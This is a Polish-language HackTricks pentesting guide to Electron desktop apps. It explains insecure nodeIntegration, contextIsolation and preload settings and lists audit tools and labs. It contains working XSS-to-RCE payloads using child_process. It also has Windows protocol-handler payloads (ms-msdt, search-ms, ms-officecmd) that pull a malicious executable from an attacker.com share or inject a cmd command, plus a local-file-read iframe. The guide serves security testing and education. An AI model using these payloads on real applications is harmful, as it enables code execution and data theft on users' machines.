hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2024-02-11 01:46:25 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated to Polish 2024-02-11 01:46:25 +00:00
electron-contextisolation-rce-via-ipc.md Translated to Polish 2024-02-11 01:46:25 +00:00
electron-contextisolation-rce-via-preload-code.md Translated to Polish 2024-02-11 01:46:25 +00:00
README.md Translated to Polish 2024-02-11 01:46:25 +00:00

Aplikacje na pulpit Electron

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wprowadzenie

Electron łączy lokalne środowisko (z NodeJS) i frontend (Chromium), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.

Zwykle kod aplikacji Electron znajduje się wewnątrz aplikacji .asar, aby go uzyskać, musisz go wyodrębnić:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

W kodzie źródłowym aplikacji Electron, w pliku packet.json, można znaleźć określony plik main.js, w którym ustawione są konfiguracje zabezpieczeń.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron ma 2 typy procesów:

  • Proces główny (ma pełny dostęp do NodeJS)
  • Proces renderera (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)

Proces renderera to okno przeglądarki, które ładuje plik:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Ustawienia procesu renderera mogą być skonfigurowane w głównym procesie w pliku main.js. Niektóre z konfiguracji zapobiegną wystąpieniu RCE lub innych podatności w aplikacji Electron, jeśli ustawienia są poprawnie skonfigurowane.

Aplikacja Electron może uzyskać dostęp do urządzenia za pomocą interfejsów Node, chociaż można to skonfigurować, aby temu zapobiec:

  • nodeIntegration - domyślnie jest wyłączone. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera.
  • contextIsolation - domyślnie jest włączone. Jeśli jest włączone, procesy główny i renderera nie są izolowane.
  • preload - domyślnie jest puste.
  • sandbox - domyślnie jest wyłączone. Ogranicza działania, które może wykonać NodeJS.
  • Integracja Node w wątkach roboczych
  • nodeIntegrationInSubframes - domyślnie jest wyłączone.
  • Jeśli nodeIntegration jest włączone, umożliwia to korzystanie z API Node.js na stronach internetowych, które są ładowane w ramkach iframe w aplikacji Electron.
  • Jeśli nodeIntegration jest wyłączone, preloady zostaną załadowane w iframe.

Przykład konfiguracji:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Kilka payloadów RCE z tutaj:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Przechwytywanie ruchu

Zmodyfikuj konfigurację start-main i dodaj użycie proxy, na przykład:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Wstrzykiwanie lokalnego kodu w Electron

Jeśli możesz lokalnie wykonać aplikację Electron, istnieje możliwość wykonania dowolnego kodu JavaScript. Sprawdź jak to zrobić:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Jeśli opcja nodeIntegration jest ustawiona na on, kod JavaScript strony internetowej może łatwo korzystać z funkcji Node.js, po prostu wywołując require(). Na przykład, sposób wykonania aplikacji kalkulatora w systemie Windows to:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Skrypt wskazany w tej konfiguracji jest ładowany przed innymi skryptami w rendererze, więc ma nieograniczony dostęp do interfejsów API Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

W związku z tym, skrypt może eksportować funkcje węzła do stron:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Jeśli contextIsolation jest włączone, to nie zadziała {% endhint %}

RCE: XSS + contextIsolation

contextIsolation wprowadza oddzielone konteksty między skryptami strony internetowej a wewnętrznym kodem JavaScript Electrona, tak aby wykonanie JavaScriptu każdego kodu nie wpływało na siebie nawzajem. Jest to niezbędna funkcja do wyeliminowania możliwości RCE.

Jeśli konteksty nie są izolowane, atakujący może:

  1. Wykonać dowolny JavaScript w renderze (XSS lub nawigacja do zewnętrznych stron)
  2. Nadpisać wbudowaną metodę, która jest używana w kodzie preload lub wewnętrznym kodzie Electrona, aby posiadać własną funkcję
  3. Wywołać użycie nadpisanej funkcji
  4. RCE?

Istnieją 2 miejsca, w których można nadpisać wbudowane metody: w kodzie preload lub wewnętrznym kodzie Electrona:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Ominięcie zdarzenia kliknięcia

Jeśli są zastosowane ograniczenia podczas kliknięcia linku, możesz je ominięć, klikając środkowym przyciskiem myszy zamiast standardowego lewego przycisku.

window.addEventListener('click', (e) => {

RCE poprzez shell.openExternal

Aby uzyskać więcej informacji na temat tych przykładów, sprawdź https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 i https://benjamin-altpeter.de/shell-openexternal-dangers/

Podczas wdrażania aplikacji desktopowej Electron, ważne jest zapewnienie poprawnych ustawień dla nodeIntegration i contextIsolation. Ustalono, że te ustawienia skutecznie zapobiegają zdalnemu wykonaniu kodu (RCE) po stronie klienta, które jest ukierunkowane na skrypty preload lub natywny kod Electrona z procesu głównego.

Po interakcji użytkownika z linkami lub otwarciu nowych okien, są wywoływane określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Te słuchacze są nadpisywane przez aplikację desktopową, aby zaimplementować jej własną logikę biznesową. Aplikacja ocenia, czy nawigowany link powinien być otwarty wewnętrznie czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana za pomocą funkcji openInternally. Jeśli ta funkcja zwraca false, oznacza to, że link powinien być otwarty zewnętrznie, przy użyciu funkcji shell.openExternal.

Oto uproszczony pseudokod:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Najlepsze praktyki dotyczące bezpieczeństwa w Electron JS odradzają akceptowanie niezaufanej zawartości za pomocą funkcji openExternal, ponieważ może to prowadzić do RCE poprzez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia na ten temat można odwołać się do tego źródła, które zawiera przykłady protokołów systemu Windows zdolnych do wykorzystania tej podatności.

Przykłady wykorzystania protokołów systemu Windows obejmują:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Odczytywanie wewnętrznych plików: XSS + contextIsolation

Wyłączenie contextIsolation umożliwia użycie tagów <webview>, podobnych do <iframe>, do odczytywania i eksfiltracji lokalnych plików. Przykład przedstawia, jak wykorzystać tę podatność do odczytywania zawartości wewnętrznych plików:

Ponadto, udostępniona jest inna metoda odczytywania wewnętrznego pliku, która podkreśla krytyczną podatność na odczyt lokalnego pliku w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Stary Chromium

Jeśli chromium używane przez aplikację jest stare i istnieją na nim znane podatności, istnieje możliwość wykorzystania ich i uzyskania RCE za pomocą XSS.
Przykład można zobaczyć w tym opisie: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing za pomocą pominięcia wewnętrznego URL regex

Załóżmy, że znalazłeś XSS, ale nie możesz wywołać RCE ani kraść wewnętrznych plików, możesz spróbować go wykorzystać do kradzieży poświadczeń za pomocą phishingu.

Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w interfejsie front-endowym:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Wywołanie openInternally zadecyduje, czy link zostanie otwarty w oknie pulpitu, jako link należący do platformy, czy czy zostanie otwarty w przeglądarce jako zewnętrzny zasób.

W przypadku, gdy regex używany przez funkcję jest podatny na obejścia (na przykład przez nieekranowanie kropek w subdomenach), atakujący może wykorzystać XSS, aby otworzyć nowe okno, które znajdzie się w infrastrukturze atakującego, prosząc o uwierzytelnienie użytkownika:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Narzędzia

  • Electronegativity to narzędzie do identyfikowania błędnych konfiguracji i antywzorców bezpieczeństwa w aplikacjach opartych na Electron.
  • Electrolint to otwarte rozszerzenie dla VS Code do aplikacji Electron, które wykorzystuje Electronegativity.
  • nodejsscan do sprawdzania podatnych bibliotek innych firm.
  • Electro.ng: Musisz go kupić.

Laboratoria

Na stronie https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s znajdziesz laboratorium do wykorzystania podatnych aplikacji Electron.

Oto kilka poleceń, które pomogą Ci w laboratorium:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: